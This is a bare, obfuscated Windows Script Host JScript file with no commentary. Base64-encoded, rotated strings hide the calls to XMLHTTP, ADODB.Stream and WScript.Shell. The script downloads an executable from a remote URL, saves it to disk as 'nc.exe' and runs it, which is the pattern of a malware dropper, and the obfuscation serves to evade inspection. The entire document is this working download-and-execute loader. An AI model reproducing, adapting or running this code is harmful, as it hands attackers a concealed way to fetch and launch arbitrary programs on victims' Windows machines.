var _0x4aff=['aHR0cHM6Ly90aGUuZWFydGgubGkvfnNndGF0aGFtL3B1dHR5L2xhdGVzdC93MzIvcHV0dHkuZXhl','bmMuZXhl','b3Blbg==','R0VU','U2xlZXA=','dHlwZQ==','d3JpdGU=','c2F2ZXRvZmlsZQ==','cnVu','Q3JlYXRlT2JqZWN0','QURPREIuU3RyZWFt','V1NjcmlwdC5TaGVsbA=='];(function(_0x40f17f,_0x53e585){var _0x3b3208=function(_0x4aa583){while(--_0x4aa583){_0x40f17f['push'](_0x40f17f['shift']());}};_0x3b3208(++_0x53e585);}(_0x4aff,0xed));var _0x3ff0=function(_0x51c77e,_0x2a7f15){_0x51c77e=_0x51c77e-0x0;var _0x45696e=_0x4aff[_0x51c77e];if(_0x3ff0['lGWOjh']===undefined){(function(){var _0x5453b0;try{var _0x2725d1=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x5453b0=_0x2725d1();}catch(_0x17a516){_0x5453b0=window;}var _0xae361a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5453b0['atob']||(_0x5453b0['atob']=function(_0x26ebf1){var _0xfe8d55=String(_0x26ebf1)['replace'](/=+$/,'');for(var _0x472d77=0x0,_0x3e8a57,_0x391408,_0x40ee1d=0x0,_0x4683d0='';_0x391408=_0xfe8d55['charAt'](_0x40ee1d++);~_0x391408&&(_0x3e8a57=_0x472d77%0x4?_0x3e8a57*0x40+_0x391408:_0x391408,_0x472d77++%0x4)?_0x4683d0+=String['fromCharCode'](0xff&_0x3e8a57>>(-0x2*_0x472d77&0x6)):0x0){_0x391408=_0xae361a['indexOf'](_0x391408);}return _0x4683d0;});}());_0x3ff0['ATPRtq']=function(_0x16fbc5){var _0x13869c=atob(_0x16fbc5);var _0x3620d3=[];for(var _0x3d806a=0x0,_0x3d9487=_0x13869c['length'];_0x3d806a<_0x3d9487;_0x3d806a++){_0x3620d3+='%'+('00'+_0x13869c['charCodeAt'](_0x3d806a)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3620d3);};_0x3ff0['UEAfGY']={};_0x3ff0['lGWOjh']=!![];}var _0x13b988=_0x3ff0['UEAfGY'][_0x51c77e];if(_0x13b988===undefined){_0x45696e=_0x3ff0['ATPRtq'](_0x45696e);_0x3ff0['UEAfGY'][_0x51c77e]=_0x45696e;}else{_0x45696e=_0x13b988;}return _0x45696e;};var http_obj=WScript['CreateObject']('Microsoft.XMLHTTP');var stream_obj=WScript[_0x3ff0('0x0')](_0x3ff0('0x1'));var shell_obj=WScript[_0x3ff0('0x0')](_0x3ff0('0x2'));var URL=_0x3ff0('0x3');var FILENAME='nc.exe';var RUNCMD=_0x3ff0('0x4');http_obj[_0x3ff0('0x5')](_0x3ff0('0x6'),URL);http_obj['send'];WScript[_0x3ff0('0x7')](0x2710);stream_obj[_0x3ff0('0x8')]=0x1;stream_obj[_0x3ff0('0x5')];stream_obj[_0x3ff0('0x9')](http_obj['responseBody']);stream_obj[_0x3ff0('0xa')](FILENAME,0x2);shell_obj[_0x3ff0('0xb')](RUNCMD);